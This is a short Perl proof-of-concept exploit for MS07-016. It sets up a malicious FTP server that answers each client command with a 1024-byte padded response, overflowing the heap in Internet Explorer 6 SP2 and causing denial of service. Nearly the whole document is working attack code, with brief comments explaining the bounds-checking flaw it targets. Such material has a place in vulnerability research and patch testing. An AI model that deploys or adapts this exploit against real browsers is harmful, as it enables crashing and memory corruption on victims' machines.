MS Internet Explorer (FTP Server Response) DoS Exploit

#!/usr/bin/perl
     # MS 07-016 FTP Server Response PoC
     # Usage: ./ms07016ftp.pl [LISTEN_IP]
     #
     # Tested Against: MSIE 6.02900.2180 (SP2)
     #
     # Details: The response is broken into buffers, either at length 1024,
     # or at '\r\n'. Each buffer is apended with \x00, without
     # bounds checking. If the response is exctly 1024 characters
     # in length, you will overflow the heap with the string \x00.
     use IO::Socket;
     use strict;
     # Create listener
     my $ip=shift || '127.0.0.1';
     my $sock = IO::Socket::INET->new(Listen=>1,
     LocalHost=>$ip,
     LocalPort=>'21',
     Proto=>'tcp');
     $sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n");
     # Wait for initial connection and send banner
     my $sock_in = $sock->accept();
     print $sock_in "220 waa waa wee waa\r\n";
     # Send response code with total lenght of response = 1024
     while (<$sock_in>){
     my $response;
     if($_ eq "USER") { $response="331 ";}
     elsif($_ eq "PASS") { $response="230 ";}
     elsif($_ eq "syst") { $response="215 ";}
     elsif($_ eq "CWD") { $response="250 ";}
     elsif($_ eq "PWD") { $response="230 ";}
     else { $response="200 ";}
     print $sock_in $response."A"x(1024-length($response)-2)."\r\n";
     }
     close($sock);
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